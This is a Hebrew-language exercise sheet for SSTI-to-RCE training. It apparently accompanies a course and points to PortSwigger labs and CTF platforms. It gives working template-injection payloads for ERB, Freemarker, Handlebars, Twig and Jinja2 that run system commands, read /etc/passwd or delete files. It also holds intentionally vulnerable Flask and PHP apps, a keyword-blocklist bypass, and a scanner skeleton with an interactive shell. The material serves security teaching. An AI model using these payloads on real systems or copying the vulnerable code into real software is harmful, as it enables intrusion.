לדלג לתוכן

SSTI ל-RCE - תרגיל

תרגיל 1 - זיהוי מנוע Template

משימה

השלימו את המעבדה:

Basic server-side template injection
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic

שלבים מנחים

  1. מצאו פרמטר שמקבל קלט ומוצג בדף
  2. הזינו ${7*7} ובדקו אם מקבלים 49
  3. זהו את מנוע ה-Template (רמז: ERB)
  4. הריצו פקודה:
    <%= system("cat /etc/passwd") %>
    

תרגיל 2 - ניצול Jinja2

משימה

Server-side template injection using documentation
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation

שלבים מנחים

  1. מצאו את נקודת ה-SSTI
  2. זהו שזה Freemarker (Java)
  3. השתמשו ב-Execute class:
    <#assign ex="freemarker.template.utility.Execute"?new()>
    ${ex("rm /home/carlos/morale.txt")}
    

תרגיל 3 - SSTI בהקשר של קוד

משימה

Server-side template injection in an unknown language with a documented exploit
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit

שלבים מנחים

  1. נסו payloads שונים לזיהוי המנוע
  2. זהו שזה Handlebars (Node.js)
  3. חפשו exploit מתועד ל-Handlebars SSTI
  4. השתמשו ב-payload המתאים:
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

תרגיל 4 - SSTI עם מידע חלקי

משימה

Server-side template injection with information disclosure via user-supplied objects
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects

שלבים מנחים

  1. מצאו SSTI בפונקציית ה-template editing
  2. זהו את מנוע ה-Template
  3. השתמשו באובייקטים זמינים בסביבת ה-Template כדי לחלץ את ה-Secret Key:
    {{ settings.SECRET_KEY }}
    

תרגיל 5 - עקיפת Sandbox

משימה

Server-side template injection in a sandboxed environment
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment

שלבים מנחים

  1. מצאו SSTI
  2. גלו שיש sandbox שמונע הרצת קוד ישירה
  3. מצאו דרך לעקוף את ה-sandbox
  4. קראו את הקובץ הנדרש

תרגיל 6 - בניית שרשרת Jinja2 מותאמת

רקע

נתונה האפליקציה הבאה עם הגבלות:

from flask import Flask, request, render_template_string

app = Flask(__name__)

BLOCKED = ['__', 'class', 'mro', 'subclasses', 'import',
           'os', 'system', 'popen', 'eval', 'exec',
           'lipsum', 'cycler', 'joiner', 'config']

@app.route('/greet')
def greet():
    name = request.args.get('name', 'World')

    for blocked in BLOCKED:
        if blocked in name.lower():
            return "Blocked!", 403

    return render_template_string(f"Hello {name}!")

משימות

  1. נתחו אילו מילים חסומות
  2. מצאו דרך לעקוף את הפילטר:
  3. שימוש ב-hex encoding (\x5f\x5f במקום __)
  4. שימוש בשרשור מחרוזות ('__cl'+'ass__')
  5. שימוש ב-request.args להעברת ערכים
  6. שימוש ב-attr filter

  7. בנו payload שמריץ id על השרת

  8. בנו payload שקורא את /etc/passwd

רמזים

{# שימוש ב-request.args לעקיפת פילטר #}
{{ request|attr(request.args.a)|attr(request.args.b) }}
{# עם URL: /greet?name=PAYLOAD&a=__class__&b=__mro__ #}

{# שימוש ב-hex encoding #}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f') }}

{# שימוש ב-string concatenation #}
{% set a = '__cla' %}{% set b = 'ss__' %}{{ ''|attr(a~b) }}

תרגיל 7 - SSTI ב-Twig

משימה

בנו סביבת תרגול:

<?php
require_once 'vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader([]);
$twig = new \Twig\Environment($loader);

$name = $_GET['name'] ?? 'World';
$template = $twig->createTemplate("Hello " . $name . "!");
echo $template->render([]);
?>

משימות

  1. הריצו את הקוד עם PHP ו-Twig
  2. בדקו SSTI עם {{7*7}}
  3. נסו payloads שונים:
    {{ ['id']|filter('system') }}
    {{ ['id']|map('system') }}
    {{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
    
  4. השיגו RCE וקראו את /etc/passwd
  5. תקנו את הקוד כך שלא יהיה פגיע

תרגיל 8 - כלי אוטומטי

משימה

שפרו את סקריפט הזיהוי מההרצאה:

#!/usr/bin/env python3
"""
Advanced SSTI Scanner and Exploiter
"""

class SSTIScanner:
    DETECTION_PAYLOADS = {
        'jinja2': [
            ('{{7*7}}', '49'),
            ("{{7*'7'}}", '7777777'),
        ],
        'twig': [
            ('{{7*7}}', '49'),
            ("{{7*'7'}}", '49'),
        ],
        'freemarker': [
            ('${7*7}', '49'),
            ('#{7*7}', '49'),
        ],
        'erb': [
            ('<%= 7*7 %>', '49'),
        ],
        'pug': [
            ('#{7*7}', '49'),
        ],
    }

    RCE_PAYLOADS = {
        'jinja2': [
            # TODO: הוסיפו לפחות 5 שרשראות שונות
        ],
        'twig': [
            # TODO: הוסיפו לפחות 3 שרשראות שונות
        ],
        'freemarker': [
            # TODO: הוסיפו לפחות 2 שרשראות שונות
        ],
    }

    def __init__(self, url, param):
        self.url = url
        self.param = param

    def detect(self):
        """זיהוי מנוע template"""
        # TODO
        pass

    def exploit(self, command):
        """ניצול לפי מנוע מזוהה"""
        # TODO
        pass

    def interactive_shell(self):
        """מעטפת אינטראקטיבית"""
        engine = self.detect()
        if not engine:
            print("[-] No SSTI detected")
            return

        print(f"[+] Engine: {engine}")
        print("[*] Interactive shell (type 'exit' to quit)")

        while True:
            cmd = input(f"({engine})$ ")
            if cmd.lower() == 'exit':
                break
            result = self.exploit(cmd)
            if result:
                print(result)

דרישות

  1. זיהוי של לפחות 5 מנועי template
  2. לפחות 3 שרשראות RCE לכל מנוע
  3. מצב אינטראקטיבי (pseudo-shell)
  4. תמיכה בשיטות POST ו-GET
  5. ניסיון אוטומטי של מספר שרשראות עד שאחת עובדת
  6. תמיכה בהעברת cookie לאימות

תרגיל בונוס - מעבדה משולבת

תרחיש

מצאתם אפליקציית Flask שמאפשרת למשתמשים ליצור הודעות ברכה מותאמות. האפליקציה מסננת חלק מהקלט.

משימות

  1. מצאו את נקודת ה-SSTI
  2. זהו אילו מילים/תווים חסומים
  3. בנו payload שעוקף את כל ההגבלות
  4. השיגו RCE
  5. קראו את הדגל מ-/flag.txt

סביבות תרגול

  • PortSwigger: כל מעבדות SSTI (כולל Expert)
  • HackTheBox: מכונות עם תגית SSTI
  • TryHackMe: "SSTI" room
  • PentesterLab: SSTI challenges
  • CTF challenges: חפשו SSTI ב-CTFtime.org